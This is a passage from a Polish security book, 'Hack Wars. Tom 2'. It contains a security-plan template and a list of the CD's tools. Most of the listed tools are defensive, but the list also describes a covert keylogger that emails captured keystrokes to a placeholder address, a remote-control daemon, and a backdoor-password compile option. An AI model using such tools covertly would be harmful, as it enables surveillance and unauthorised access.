Nazwisko osoby odpowiedzialnej za bezpieczeństwo systemu:
nazwisko,
stanowisko,
adres,
telefon,
adres e-mail.
Status operacyjny systemu
Jeśli wybrano więcej niż jeden status, należy podać części systemu, jakie obejmuje
dany status:
operacyjny;
w konstrukcji;
przechodzi poważną modyfikację.
Ogólny opis i cele
Opisać funkcję lub cel systemu oraz przetwarzane przez niego informacje.
Opisać proces przetwarzania przez aplikację od wejścia do systemu do wyjścia
z niego.
Opisać sposób organizacji użytkowników (wewnętrznych i zewnętrznych)
oraz obsługiwany typ danych i przetwarzania.
Przedstawić listę wszystkich aplikacji obsługiwanych przez system ogólnego
wsparcia. Opisać funkcje każdej aplikacji oraz przetwarzane przez nią informacje.
Środowisko systemu
Przedstawić ogólny opis techniczny systemu. Należy dołączyć opis wszystkich
czynników środowiskowych i technicznych, które budzą pewne zastrzeżenia
pod względem zabezpieczeń (takie jak połączenia modemowe, otwarta
sieć itp.).
Opisać główną platformę komputerową oraz podstawowe komponenty
systemu, włączając w to osprzęt, oprogramowanie oraz zasoby komunikacyjne.
Dołączyć informacje o wszystkich programach chroniących system
i informacje.
Dodatek B
♦
♦
♦
♦
Szablony planu zabezpieczeń
369
369
Połączenia systemu i współdzielenie informacji
Podać listę połączonych systemów oraz ich identyfikatory (jeśli stosowane).
W przypadku połączenia z zewnętrznym systemem, który nie jest objęty
planem zabezpieczeń, należy krótko omówić wszystkie niezbędne kwestie
związane z zabezpieczeniami.
Przed połączeniem z innymi systemami oraz współdzieleniem wrażliwych
danych i informacji należy uzyskać pisemną autoryzację. Opisać zasady
zachowania, które muszą być zachowane przez połączone systemy.
Do planu zabezpieczeń dołączyć opis tych zasad lub omówić je w tej sekcji.
Prawo, regulacje i zasady mające wpływ na system
Zamieścić listę wszystkich praw, regulacji i zasad, które ustanawiają konkretne
wymagania dotyczące poufności, integralności oraz dostępności informacji
i danych w systemie.
Ogólny opis wrażliwości informacji
Ogólnie opisać informacje obsługiwane przez system, a także konieczność
wprowadzenia środków ochronnych. Te informacje muszą się odnosić
do wszystkich trzech podstawowych wymagań w zakresie zabezpieczeń
— dostępności, integralności i poufności. Dla każdej z trzech kategorii
(dostępności, integralności i poufności) wskazać, czy wymagania
pod względem zabezpieczeń są wysokie, średnie lub niskie.
Dołączyć oszacowanie ryzyka oraz wielkości szkód spowodowanych
przez utratę, niewłaściwe użycie, nieautoryzowany dostęp lub modyfikację
informacji w systemie.
Kontrola kierownicza
Ocena i zarządzanie ryzykiem
Opisać metodologię oceny poziomu ryzyka, jaka została użyta do identyfikacji
zagrożeń i słabych stron systemu. Dołączyć datę wykonania oceny ryzyka
systemu. Jeśli dla danego systemu nie wykonano oceny ryzyka, należy
dołączyć datę (miesiąc i rok) przewidywanego wykonania takiej analizy.
Przegląd środków kontroli zabezpieczeń
Wymienić wszystkie niezależne przeglądy zabezpieczeń systemu, jakie
zostały wykonane w ciągu ostatnich trzech lat.
Dołączyć informacje o typie wykonywanej oceny zabezpieczeń i osobie,
która ją przeprowadzała, a także przedstawić cel badania, jego wyniki
oraz działania, które zostały podjęte dzięki badaniu.
370
Hack Wars. Tom 2. Na tropie hakerów
370
Zasady zachowania
Dla każdego systemu należy utworzyć pisemny zestaw zasad zachowania.
Zasady zachowania powinny być udostępnione wszystkim użytkownikom,
zanim uzyskają oni dostęp do systemu. Zaleca się, aby zasady zawierały
stronę z podpisami, na której użytkownik musi potwierdzić odbiór zasad.
Jasno zdefiniować odpowiedzialność i oczekiwane zachowanie wszystkich
osób, które uzyskują dostęp do systemu. W zasadach należy zawrzeć
informacje o konsekwencjach niewłaściwego zachowania lub nieprzestrzegania
zasad. Dołączyć niezbędne limity połączeń z innymi systemami.
Jako załącznik umieścić zasady zachowania dla systemu, a w tej sekcji
powinien znaleźć się numer właściwego załącznika. Możliwe jest także
dołączenie zasad do tej sekcji.
Planowanie zabezpieczeń w cyklu życia
Ustalić fazę (fazy) cyklu życia systemu lub jego poszczególnych części.
Opisać sposób zapewnienia bezpieczeństwa w fazie (fazach) cyklu życia,
w której obecnie znajduje się system.
Faza inicjacji
Umieścić odnośnik do oceny wrażliwości znajdującej się w sekcji Wrażliwość
przechowywanych informacji.
Faza rozwoju i przejęcia
Czy w czasie projektowania systemu zidentyfikowano wymagania dotyczące
bezpieczeństwa?
Czy przed dostarczeniem systemu utworzono odpowiednie kontrole
zabezpieczeń wraz z powiązanymi procedurami badania i testowania?
Czy dokumenty ofertowe (na przykład zapytanie ofertowe) zawierały
wymagania dotyczące zabezpieczeń oraz procedur badawczych i testowych?
Czy te wymagania umożliwiają aktualizację zabezpieczeń w razie pojawienia
się nowych zagrożeń i słabych punktów oraz w przypadku wdrożenia nowych
technologii?
Jeśli zakupiono komercyjną aplikację lub aplikacja zawiera typowe komercyjne
programy, to czy zidentyfikowano i dołączono do specyfikacji przejęcia ich
wymagania wobec zabezpieczeń?
Faza implementacji
Czy wykonano przegląd projektu oraz testy systemowe przed rozpoczęciem
pracy przez system? Czy testy zostały w pełni udokumentowane? Czy system
otrzymał niezbędne certyfikaty?
Czy po zakończeniu projektowania dodano jakieś środki kontroli
zabezpieczeń?
Dodatek B
♦
♦
♦
♦
Szablony planu zabezpieczeń
371
371
Czy aplikacja przeszła badania techniczne w celu sprawdzenia, czy spełnia
wymagania prawa, regulacji, zasad i standardów?
Czy aplikacja uzyskała certyfikaty i akredytacje? Kiedy? Jeśli system nie
uzyskał jeszcze autoryzacji, podać datę wysłania prośby o autoryzację.
Faza działania i obsługi
Plan zabezpieczeń dokumentuje czynności zabezpieczające wymagane w tej fazie.
Faza usuwania
W jaki sposób informacje są przenoszone do innego systemu, archiwizowane,
usuwane lub niszczone? Omówić środki kontroli używane do zapewnienia
poufności informacji.
Czy wrażliwe dane są szyfrowane?
W jaki sposób informacje są usuwane z systemu i kasowane w nim?
Czy informacje lub nośniki są oczyszczane, nadpisywane,
rozmagnesowywane czy niszczone?
Autoryzacja działania
Podać datę autoryzacji, nazwisko i stanowisko menedżera, który autoryzuje
przetwarzanie informacji w systemie.
Jeśli nie uzyskano autoryzacji, podać nazwisko i stanowisko menedżera, który
prosi o zgodę na działanie oraz datę tej prośby.
Kontrola operacyjna
Bezpieczeństwo personelu
Czy wszystkie stanowiska zostały zbadane pod kątem poziomu wrażliwości?
Czy wszyscy użytkownicy zostali przeszkoleni na poziomie stanowiska, które
im przydzielono?
Czy dostęp użytkowników został ograniczony do minimalnego poziomu,
wymaganego do wykonania pracy?
Czy istnieje system zamawiania, zakładania, wydawania i zamykania kont
użytkowników?
Czy krytyczne funkcje zostały rozdzielone między różne osoby (podział
obowiązków)?
Jakie mechanizmy zastosowano, aby użytkownicy byli odpowiedzialni
za swoje postępowanie? Opisać takie mechanizmy.
Jakie są procedury przyjaznego i nieprzyjaznego zakończenia procesu?
372
Hack Wars. Tom 2. Na tropie hakerów
372
Ochrona fizyczna i środowiskowa
Opisać fizyczne zabezpieczenia systemu. Opisać obszar, na którym odbywa się przetwa-
rzanie informacji (na przykład blokady terminali, ogrodzenie wokół budynków lub te-
renów organizacji itp.). Należy omówić takie czynniki, jak kontrola dostępu, bezpie-
czeństwo pożarowe, awaria systemów wsparcia, zawalenie budynku, awaria kanalizacji,
przechwycenie danych oraz systemy mobilne i przenośne.
Kontrola produkcyjna oraz kontrola wejścia i wyjścia
Opisać środki kontroli używane do oznaczania, traktowania, przetwarzania, przecho-
wywania oraz usuwania informacji i nośników wejściowych i wyjściowych, a także
procedury etykietowania i dystrybucji informacji i nośników. Przedstawić listę środ-
ków kontroli do monitorowania instalacji i aktualizacji oprogramowania aplikacji.
Zamieścić opis stosowanych procedur, które obsługują działanie aplikacji. Poniżej
znajduje się kilka przykładów tematów, które powinny zostać omówione.
Wsparcie dla użytkowników: Czy istnieje komórka lub grupa ludzi zajmująca
się pomocą dla użytkowników?
Procedury, dzięki którym nieautoryzowane osoby nie mogą odczytać,
skopiować, zmienić ani ukraść wydrukowanych lub elektronicznych informacji.
Procedury, dzięki którym tylko autoryzowani użytkownicy mogą pobrać,
odebrać lub dostarczyć informacje wejściowe i wyjściowe oraz nośniki.
Ś
ledzenie odbioru ważnych danych wejściowych i wyjściowych.
Procedury ograniczające dostęp do urządzeń wyjściowych.
Procedury i środki kontroli przy transporcie lub wysyłce nośników i wydruków.
Zewnętrzny lub wewnętrzny system znakowania wrażliwości informacji.
Zewnętrzny system znakowania z instrukcjami dotyczącymi sposobu
traktowania (na przykład identyfikatory dziennika lub inwentarza, kontrolowany
dostęp, specjalne instrukcje dotyczące przechowywania, data wysłania
lub zniszczenia).
Kontrola śladów do celów zarządzania inwentarzem.
Procedury i środki kontroli fizycznej i środowiskowej ochrony miejsca
przechowywania nośników i biblioteki.
Procedury czyszczenia nośników elektronicznych w celu ponownego użycia
(na przykład nadpisanie lub rozmagnesowanie nośników elektronicznych).
Procedury kontrolowanego przechowywania, obsługi i zniszczenia uszkodzonych
nośników lub takich, które nie mogą być wyczyszczone w celu ponownego
użycia.
Procedury fizycznego zniszczenia wydruków, które nie są już potrzebne.
Dodatek B
♦
♦
♦
♦
Szablony planu zabezpieczeń
373
373
Planowanie awaryjne
Krótko opisać procedury (plan zapasowy), które pozwolą na kontynuację obsługi
przez system wszystkich krytycznych aplikacji w przypadku wystąpienia katastrofy.
Jeśli formalny plan zapasowy został w pełni utworzony, należy umieścić odnośnik do
niego. Kopia planu zapasowego może być załącznikiem. W tej sekcji należy dołączyć
następujące, wymienione poniżej, elementy.
Wszystkie umowy o obsługę archiwizacji (na przykład kontrakt z komercyjnym
dostawcą usług).
Udokumentowane procedury archiwizacji, włączając ich częstotliwość
(codziennie, tygodniowo, miesięcznie) oraz zakres (pełna kopia awaryjna,
kopia przyrostowa lub różnicowa).
Miejsce przechowywania kopii zapasowych oraz liczbę utrzymywanych
generacji kopii zapasowych.
Czy istnieją przetestowane plany zapasowe na wypadek wystąpienia groźnego
zdarzenia? Jak często są testowane?
Czy wszyscy pracownicy zostali przeszkoleni w zakresie swoich ról
i odpowiedzialności dotyczących planów awaryjnych, ratunkowych
i na wypadek katastrofy?
Kontrola obsługi sprzętu i oprogramowania
Te środki kontroli obejmują:
restrykcje oraz środki kontroli osób wykonujących obsługę lub naprawę systemu;
specjalne procedury pozwalające na zapewnienie odpowiedniej wydajności
naprawy i obsługi;
procedury stosowane dla elementów serwisowanych na miejscu oraz poza
organizacją (na przykład towarzyszenie serwisantom, oczyszczanie nośników
zabieranych z biura);
procedury stosowane do kontroli usług zdalnej obsługi, kiedy procedury
diagnostyczne lub serwisowe są wykonywane przy użyciu mediów
telekomunikacyjnych;
kontrola wersji, która pozwala na powiązanie komponentów systemu
z właściwą wersją systemu;
procedury testowania i zatwierdzania komponentów systemu (system
operacyjny, inny system, narzędzia i aplikacje) przed przekazaniem do użytku;
analizy wpływu efektu proponowanych zmian na istniejące środki kontroli
zabezpieczeń, co obejmuje także wymagane szkolenia zarówno dla techników,
jak i użytkowników, odnoszące się do proponowanej zmiany w oprogramowaniu
lub sprzęcie;
procedury zmiany identyfikacji, akceptacji i dokumentacji;
374
Hack Wars. Tom 2. Na tropie hakerów
374
procedury pozwalające upewnić się, czy plany zapasowe i powiązana
dokumentacja jest aktualizowana wraz ze zmianami systemu;
ustalenie, czy dane testowe były danymi rzeczywistymi, czy spreparowanymi;
zasady organizacji dotyczące nielegalnego użycia oprogramowania objętego
prawami autorskimi lub typu shareware.
Kontrola integralności
Czy zainstalowano oprogramowanie do wykrywania i eliminacji wirusów?
Jeśli tak, to czy istnieją procedury do aktualizacji plików podpisów wirusów,
automatycznego lub ręcznego skanowania antywirusowego oraz usuwania
wirusów i tworzenia raportów?
Czy stosowane są przez system procedury kontrolne — na przykład sumy
kontrolne, sumy hash i liczniki rekordów? Należy dołączyć opis działań
podjętych w celu usunięcia wszelkich niezgodności.
Czy używane są narzędzia do sprawdzania i łamania haseł?
Czy aplikacje korzystają z programów do weryfikacji integralności w celu
wyszukania dowodów na manipulację danymi, błędów oraz pominięć?
Czy w systemie zainstalowano narzędzia do wykrywania włamania?
Czy używana jest funkcja monitorowania wydajności systemu w celu analizy
dzienników wydajności systemu w czasie rzeczywistym, wyszukiwania
problemów z dostępnością (włączając w to aktywne ataki) oraz awarii lub
spowolnienia pracy systemu i sieci?
Czy w systemie są wykonywane testy penetracji? Jeśli tak, to jakie procedury
są stosowane w celu zapewnienia prawidłowego wykonywania takich testów?
Czy system używa funkcji uwierzytelniania wiadomości w celu upewnienia
się, czy nadawca wiadomości jest znany, a wiadomość nie została zmieniona
w czasie transmisji?
Dokumentacja
Dokumentacja systemu obejmuje opisy sprzętu i programów, zasady, standardy, pro-
cedury oraz akceptacje odnoszące się do bezpieczeństwa zautomatyzowanego systemu in-
formatycznego (aplikacja oraz system obsługi, na którym jest ona wykonywana). Na-
leży tu także dołączyć opis procedur archiwizacji oraz planu zapasowego, a także opis
procedur użytkownika i operatora.
Przedstawić listę dokumentacji systemu (dokumentacja sprzętu i programów
producenta, wymagania funkcjonalne, plan zabezpieczeń, plan zabezpieczeń
systemu ogólnego wsparcia, podręczniki aplikacji, dokumentacja wyników
testów, standardowe procedury operacyjne, procedury awaryjne, plany zapasowe,
zasady i procedury użytkownika, ocena ryzyka, dokumenty i oświadczenia
o certyfikatach i akredytacji, przeglądy weryfikacyjne i inspekcje).
Dodatek B
♦
♦
♦
♦
Szablony planu zabezpieczeń
375
375
Znajomość zabezpieczeń i szkolenia
Opisać program świadomości systemu (plakaty, foldery i inne).
Opisać typ i częstotliwość szkoleń w zakresie obsługi systemu ogólnego
wsparcia, przeprowadzanych dla pracowników oraz osób współpracujących
(seminaria, warsztaty, zajęcia w klasach, grupy dyskusyjne, odgrywanie ról
oraz szkolenie w trakcie pracy).
Opisać procedurę sprawdzania, czy pracownicy i osoby współpracujące
przeszły niezbędne szkolenia.
Możliwość zgłaszania wypadków naruszenia bezpieczeństwa
Czy istnieją procedury zgłaszania naruszeń bezpieczeństwa, obsługiwane
przez personel organizacji lub na zewnątrz?
Czy istnieją procedury rozpoznawania i reakcji na takie zdarzenia (na przykład,
które pliki i dzienniki powinny być zachowane, z kim i kiedy należy się
skontaktować)?
Kto odbiera i odpowiada na alarmy i informacje o poprawkach
oprogramowania lub o zbadanych słabych punktach?
Jakie stosuje się środki zabezpieczające (na przykład narzędzia do wykrywania
włamania, zautomatyzowane dzienniki kontroli, testy penetracji)?
Kontrola techniczna
Identyfikacja i uwierzytelnianie
Opisać metodę uwierzytelniania użytkowników (hasło, token lub cechy
biometryczne).
Jeśli stosowany jest system haseł, podaj następujące informacje:
dozwolony zestaw znaków;
długość hasła (minimalna i maksymalna);
okres upływu ważności hasła oraz sposób wymuszania jego zmiany;
liczbę niedozwolonych generacji starych haseł;
procedury zmiany hasła;
procedury obsługi zagubionych haseł;
procedury obsługi naruszenia systemu haseł.
Opisać procedury szkolenia użytkowników oraz użyte materiały.
Wskazać częstotliwość zmiany haseł, opisać sposób wymuszenia zmiany
hasła (na przykład przez program lub administratora systemu) oraz podać
osobę, która zmienia hasło (użytkownik, system lub administrator systemu).
376
Hack Wars. Tom 2. Na tropie hakerów
376
Opisać stosowane sposoby kontroli cech biometrycznych. Należy dołączyć
opis sposobu implementacji tych sposobów w systemie.
Opisać używane przez system środki kontroli tokenów oraz sposób ich
implementacji.
Opisać poziom wymuszania mechanizmu kontroli dostępu (sieć, system
operacyjny lub aplikacja).
Opisać sposób obsługi poszczególnych kont i kontroli śladów (na przykład,
czy hasła są powiązane z identyfikatorem użytkownika, który jest przydzielony
tylko dla jednej osoby) przez mechanizm kontroli dostępu.
Opisać techniki własnego zabezpieczenia mechanizmu uwierzytelniania
użytkownika (na przykład, czy hasła są przesyłane i przechowywane
przy użyciu jednokierunkowego szyfrowania tak, że nikt, włączając w to
administratora, nie może odczytać haseł w czystym tekście; czy hasła są
generowane automatycznie; czy hasła są porównywane ze słownikiem
niedozwolonych haseł; czy hasła są szyfrowane w czasie przesyłania).
Podać liczbę nieudanych prób dostępu, jaka może wystąpić dla danego
identyfikatora użytkownika lub miejsca dostępu (terminal lub port),
a także opisać działania, jakie zostaną podjęte po przekroczeniu limitu.
Opisać procedurę weryfikacji, czy zostały zmienione wszystkie domyślne
hasła administratorów ustawionych systemowo.
Opisać procedury ograniczania skryptów dostępowych z dołączonym hasłem
(na przykład, czy skrypty z dołączonym hasłem są zabronione lub dozwolone
tylko dla aplikacji wsadowych).
Opisać wszystkie zasady, które pozwalają na pominięcie wymagań dotyczących
uwierzytelniania użytkownika, technologie „pojedynczego podpisu” (na przykład
bezpośrednie połączenie dwóch komputerów, serwery uwierzytelniania,
identyfikator „użytkownik do hosta” oraz identyfikatory grup użytkowników),
a także wszystkie środki kontroli naruszenia uwierzytelniania.
Logiczna kontrola dostępu
Omówić środki kontroli, które są stosowane do autoryzacji lub ograniczenia
działalności użytkowników lub personelu systemowego w ramach aplikacji.
Opisać funkcje sprzętu lub oprogramowania, które zostały utworzone w celu
umożliwienia tylko autoryzowanego dostępu do aplikacji lub wewnątrz niej,
do ograniczenia działań użytkowników tylko do autoryzowanych transakcji
i funkcji, a także do wykrywania nieautoryzowanych działań (na przykład
listy kontroli dostępu ACL).
Opisać sposób przyznawania uprawnień dostępowych. Czy przywileje są
przydzielane w oparciu o wykonywane zadania?
Opisać możliwość utworzenia przez aplikację listy kontroli dostępu ACL
lub rejestru.
Dodatek B
♦
♦
♦
♦
Szablony planu zabezpieczeń
377
377
Opisać sposób, w jaki ogranicza się użytkownikom aplikacji dostęp do
systemu operacyjnego, innych aplikacji lub innych zasobów systemowych,
które nie są wymagane podczas wykonywania przez nich swoich obowiązków.
Opisać środki kontroli używane do wykrywania nieautoryzowanych prób
transakcji przez autoryzowanych lub nieautoryzowanych użytkowników.
Opisać wszystkie ograniczenia, które uniemożliwiają użytkownikom
uzyskanie dostępu do systemu lub aplikacji poza normalnymi godzinami
pracy lub w czasie weekendów. Należy opisać zastosowane ograniczenia.
Wskazać, po jakim okresie braku aktywności użytkownika system automatycznie
oczyszcza wyświetlany obraz, a po jakim czasie system automatycznie
odłącza nieaktywnych użytkowników lub wymaga od nich ponownego
podania unikalnego hasła w celu przyłączenia się do systemu lub aplikacji.
Wskazać, czy do uniemożliwienia nieautoryzowanego dostępu do wrażliwych
plików jest stosowane szyfrowanie jako część procedur kontroli dostępu
do systemu lub aplikacji.
Uzasadnić decyzję o użyciu banerów ostrzegawczych lub ich braku; dołączyć
przykłady używanych banerów.
Śledzenie śladów
Czy funkcja śledzenia śladów współpracuje z funkcją obsługi kont, dzięki
czemu można uzyskać zapis działań użytkownika?
Czy funkcja śledzenia śladów została zaprojektowana i wdrożona w celu
zapisywania niezbędnych informacji, które mogą pomóc w wykrywaniu
włamania?
Czy funkcja śledzenia śladów obejmuje wystarczająco dużo informacji,
aby ustalić typ zdarzeń i ich sprawcę? Należy tu umieścić typ zdarzenia, datę
wystąpienia zdarzenia, identyfikator użytkownika powiązany ze zdarzeniem
oraz program lub polecenie użyte do rozpoczęcia zdarzenia.
Czy dostęp do dzienników funkcji śledzenia jest ściśle kontrolowany?
Czy zapewniona jest poufność informacji funkcji śledzenia śladów, jeśli
na przykład są zapisywane osobiste dane użytkowników?
Jak często są przeglądane dane funkcji śledzenia śladów? Czy istnieją zasady
takiego przeglądu?
Czy właściwy administrator na poziomie systemu lub aplikacji przegląda
dane funkcji śledzenia śladów, badając znany problem systemu albo aplikacji,
znany przypadek naruszenia istniejących wymagań przez użytkownika
lub niewyjaśniony problem związany z systemem lub użytkownikiem?
378
Hack Wars. Tom 2. Na tropie hakerów
378
379
Dodatek C
Zawartość płyty CD
Dołączony do tej książki CD-ROM zawiera programy, kody źródłowe oraz pliki, o któ-
rych wspomniano w tym tomie. Zawartość płyty podzielono na następujące foldery:
Roz_1, Roz_2, Roz_3_4, TigerSurf oraz Lista portów.
Rozdział 1.
Folder Roz_1 zawiera następujące podkatalogi:
Tcp_wrappers. Kolekcja osłon TCP z przykładowymi kompilacjami tcpd.
Obsługiwane są następujące systemy operacyjne UNIX: AIX, Digital, HP-UX,
Solaris, SunOS i Linux.
TigerFTPServ. Kompilacja FTP dla domowych i prywatnych użytkowników,
którzy wolą mieć pełną kontrolę nad tą usługą. Ten program pozwala
użytkownikom na udostępnienie dostępu FTP dla znajomych i członków
rodziny. Dostępne funkcje to opcje poleceń, uprawnienia dostępu do plików
i katalogów oraz opcje potoków sesji. Program zawiera także szperacza sesji,
dzięki któremu wszystkie żądania połączenia i status transmisji są wyświetlane
w czasie rzeczywistym. TigerFTPServ może być modyfikowany, dystrybuowany
i wykorzystywany w dowolny sposób.
TigerTelnetServ. Ten program pozwala domowym i prywatnym użytkownikom,
którzy wolą mieć pełną kontrolę nad bezpieczeństwem, na udostępnienie
bezpiecznego dostępu telnetowego dla własnych celów, a także dla znajomych
i członków rodziny. TigerTelnetServ może być modyfikowany, dystrybuowany
i wykorzystywany w dowolny sposób. Polecenia obsługiwane przez tę wersję
obejmują przeglądanie katalogów, podgląd plików, wyszukiwanie użytkownika,
rozłączenie użytkownika oraz wyłączenie demona. Możliwe jest dodanie
kolejnych funkcji.
TigerTFTPServ. Program dla domowych i prywatnych użytkowników,
którzy chcą uzyskać pewną kontrolę nad usługą TFTP. TigerTFTPServ
to okrojona wersja FTP, nasłuchująca na porcie 69 żądań połączeń TFTP.
380
Hack Wars. Tom 2. Na tropie hakerów
380
Zgodnie z zasadami TFTP program pozwala tylko na jeden potok połączenia
(maksymalna liczba połączeń może być łatwo zmodyfikowana) do pojedynczego
katalogu w celu transferu pliku. Możliwa jest modyfikacja kodu narzędzia
w celu akceptacji uwierzytelnionych użytkowników. Ta wersja obsługuje
anonimowe sesje; dołączono także szperacza sesji w celu monitorowania
każdego transferu z katalogu c:/tftp.
TigerInspect. Program umożliwia skanowanie portów wraz z zarządzaniem
listami usług oraz funkcjami dla użytkowników domowych, prywatnych
i korporacyjnych. Ta wersja pozwala na pięć jednoczesnych wątków pracy,
co oznacza, iż po uruchomieniu program będzie skanował pięć portów. Liczba
wątków może być zwiększona przez dodanie potoków
Winsock
(
x
), gdzie (
x
)
wskazuje następny wątek (w tym przypadku sześć).
Konie trojańskie. Folder zawiera programy AntiGen i BoDetect, które
automatycznie wykrywają, oczyszczają i usuwają z komputerów program
BoServ (Back Orifice Server). AntiGen to darmowy program z firmy Fresh
Sofware. Uwaga: choć oba narzędzia działają sprawnie, nowsze mutacje
BoServ mogą pozostać niezauważone.
W folderze znajduje się także NetBus Detective — sprytny mały programik,
który nie tylko usuwa NetBusa z systemu, ale także wyświetla odpowiedni
komunikat dla niczego nie spodziewającego się hakera, jednocześnie
zapisując jego adres IP i nazwę komputera. NetBus Protection System to kolejne
narzędzie do wykrywania NetBusa, które może zostać skonfigurowane na
wyłączanie tej szkodliwej usługi oraz informowanie o zdalnym ataku hakera.
TigerWipe. Program wyświetlający listę procesów systemowych, włączając
w to zwykle ukryte procesy. Użycie narzędzia jest proste — podświetl
szkodliwy proces i kliknij przycisk Wipe. Dołączono także kod źródłowy,
więc użytkownicy mogą go modyfikować w celu automatyzacji technik
opisanych w tej książce. Ulepszony w ten sposób program staje się
narzędziem do wykrywania koni trojańskich, które nie tylko przerywa
szkodliwy proces, ale i wykonuje wszystkie kroki niezbędne do jego
usunięcia. Zamieszczona na płycie wersja działa wyjątkowo dobrze jako
ręczny interfejs.
TigerGuard. Narzędzie do blokowania i obserwacji portów. TigerGuard
pozwala użytkownikom tworzyć, ładować i zapisywać własne listy zasad.
W obecnej wersji demon zapisuje zdalne ataki hakerów, blokuje je i alarmuje
w wypadku ich wystąpienia. Jest to powiązane z zasadami zabezpieczeń
użytkownika (TigerGuard obsługuje domyślnie do 500 własnych zasad).
Aby szybko rozpocząć zabezpieczanie, możliwe jest wstępne załadowanie
standardowej i domyślnej listy zasad.
Lamer. Demon zdalnej kontroli połączony z technikami dystrybucji, które
zostały opisane w rozdziale 1. W celu zapewnienia większego bezpieczeństwa
wyłączono funkcje ukrytego serwera. Serwer i klient może być uruchomiony
na tej samej stacji roboczej w celu przetestowania.
Dodatek C
♦
♦
♦
♦
Zawartość płyty CD
381
381
Java. Napisana w Javie prosta i łatwa do implementacji adaptacja frontonu
logowania. Skrypty logowania, ASP i VB oraz zabezpieczone hasłem pliki
wykonywalne CGI mogą odstraszyć wielu napastników.
TigerPass. Program bramy wewnętrznego logowania, który może być łatwo
przekonwertowany do frontonu CGI. Program automatycznie przeszukuje
małą bazę danych login.mdb w celu uzyskania informacji o kontach dostępu
i odnośnikach krzyżowych.
Loader.asm. Starożytny, tajny, chiński kod źródłowy osobistego programu
do ładowania poprawek.
Rozdział 2.
Folder Roz_2 zawiera następujące programy:
TigerLog. Program pozwalający na pełną, ukrytą kontrolę zapisu wszystkich
wciskanych klawiszy; odpowiedni dla użytkowników domowych i prywatnych.
TigerLog umożliwia modyfikację listy wciskanych klawiszy, które należy
przechwytywać, zmianę sekwencji klawiszy aktywacji widocznego szperacza
sesji (aktualnie Shift+F12) oraz zmianę domyślnej nazwy i położenia pliku
dziennika (//Windows/System/TigerLog.TXT). Po zapełnieniu dziennika program
wysyła jego zawartość na podany adres e-mailowy (ktos@serwer_poczty.com)
przy użyciu serwera SMTP (poczta.serwer_poczty.net).
BombSquad. Narzędzie utworzone głównie do usuwania bomb pocztowych
z serwera, pozwalając jednocześnie na odczytanie i zapisanie ważnych
wiadomości. BombSquad może być użyty dla każdej skrzynki pocztowej,
które obsługuje standardowy protokół POP3.
TigerCrypt. Program używa 128-bitowego szyfrowania w celu zapewnienia
bezpieczeństwa i prywatności osobistych haseł. Ta wersja obsługuje wiele
profili użytkowników. Użytkownik wybiera zarejestrowany profil z rozwijanej
listy lub utworzy nowy. Przez główny interfejs TygerCrypta użytkownicy
mogą dodawać lub usuwać zaszyfrowane konta logowania. Program bezpiecznie
przechowuje i odczytuje wiele nazw logowania, haseł, nazw serwerów
i informacji o kontach; są one dostępne tylko po podaniu hasła danego profilu.
Zaszyfrowane dane mogą być również eksportowane i importowane do plików.
TigerCrypt zawiera także generator losowych haseł w celu natychmiastowego
tworzenia skomplikowanych haseł. Odpowiednia opcja interfejsu umożliwia
wybór długości hasła oraz dostępnych znaków (duże i małe litery, cyfry, klawisze
rozszerzone i symbole), które mają być losowo stosowane.
Ifstatus. Popularny program uniksowy, który może być uruchamiany
w celu identyfikacji kart sieciowych pracujących w trybie podsłuchowym
lub wykrywania błędów. To narzędzie nie wyświetla zwykle żadnych
komunikatów wynikowych, chyba że odnajdzie karty sieciowe pracujące
w niezabezpieczonym trybie.
382
Hack Wars. Tom 2. Na tropie hakerów
382
Encryptor. Program udostępniający funkcje szyfrowania dla użytkowników
firmowych, domowych oraz prywatnych. Technika szyfrowania zapewnia
proste funkcje szyfrowania w celu zabezpieczenia danych. Kod źródłowy nie
jest skomplikowany, dzięki czemu jego modyfikacja do prywatnego użytku
nie powinna być trudna. Aby zapisać dane do szyfrowania, należy użyć listy
katalogów po prawej stronie w celu dotarcia do ścieżki, w której ma być
umieszczony zaszyfrowany plik. W tym momencie należy wprowadzić klucz
szyfrowania i kliknąć Zapisz. Ładowanie zaszyfrowanych plików to po prostu
ponowne użycie listy katalogów po prawej stronie i wybranie właściwego pliku.
CGIScan. Skaner do wykrywania prób włamania, który umożliwia
skanowanie CGI i ręczne testowanie słabości CGI. W chwili obecnej istnieje
407 potencjalnych słabych punktów CGI, które należy przetestować.
Rozdziały 3. i 4.
W folderze Roz_3_4 można odnaleźć następujące narzędzia:
WinLock. Program blokujący, który może rozwiązać problemy z hasłem
stacji roboczej. Po uruchomieniu należy odblokować interfejs WinLocka
w celu kontynuacji. W dowolnym momencie można dokonać ręcznej
aktywacji programu, na przykład przy opuszczaniu biura. Narzędzie może
być skonfigurowane na inicjalizację w czasie startu systemu. Opcją WinLocka
jest umieszczenie hasła tylnych drzwi w czasie kompilacji kodu źródłowego.
Port Watcher. Prosty program do obserwacji portów, będący przykładem
firewalla. Port Watcher został użyty w rozdziale 3. jako środek
zabezpieczający Windows NT przed atakiem DoS.
TigerSurf
TigerSurf to program znajdujący się w folderze towarzyszącym zawartości rozdziału 4.
i dodatku A. To narzędzie, które obejmuje bezpieczny, wielopotokowy mechanizm
przeszukiwania Internetu; jest oparty o bezpieczny moduł przeglądarki internetowej.
TigerSurf ma chronić użytkowników przed szkodliwymi stronami sieciowymi, prze-
pełnieniem przeglądarki (nigdy więcej ogromnej liczby wyskakujących okien) oraz
zdalnymi końmi trojańskimi. TigerSurf obsługuje wszystkie wtyczki Microsoft Internet
Explorer oraz własne filtry, a także jest kompatybilny ze wszystkimi internetowymi
językami programowania. Inne funkcje (opisane w kolejnych częściach) obejmują:
edytor HTML,
TigerWatch,
TigerBlock,
skanowanie zabezpieczeń,
TigerSearch,
Dodatek C
♦
♦
♦
♦
Zawartość płyty CD
383
383
TigerTrack,
FTP,
Telnet,
przechwytywanie ekranu,
przeglądarkę zdjęć.
Lista portów
Na dołączonym do książki CD-ROM-ie znajduje się również folder zawierający pełną
listę znanych i definiowanych przez producentów portów usług aż do portu 49151.
Numery portów są podzielone na dwie grupy:
znane porty: od 0 do 1023,
ukryte porty: od 1024 do 49151.
Znane porty są przydzielane przez IANA, a w przypadku większości systemów mogą
być używane tylko przez procesy systemowe (lub roota) albo procesy uruchamiane
przez uprzywilejowanych użytkowników. Porty są używane przez TCP [RFC 793],
aby nazwać końce logicznych połączeń, które przenoszą długoterminowe rozmowy.
Kontaktowy port usługi jest definiowany, aby udostępnić usługi nieznanym, wywołują-
cym je, osobom. Na liście znalazły się porty używane przez procesy serwera jako porty
kontaktowe. Porty kontaktowe są czasami nazywane „znanymi portami”. W maksy-
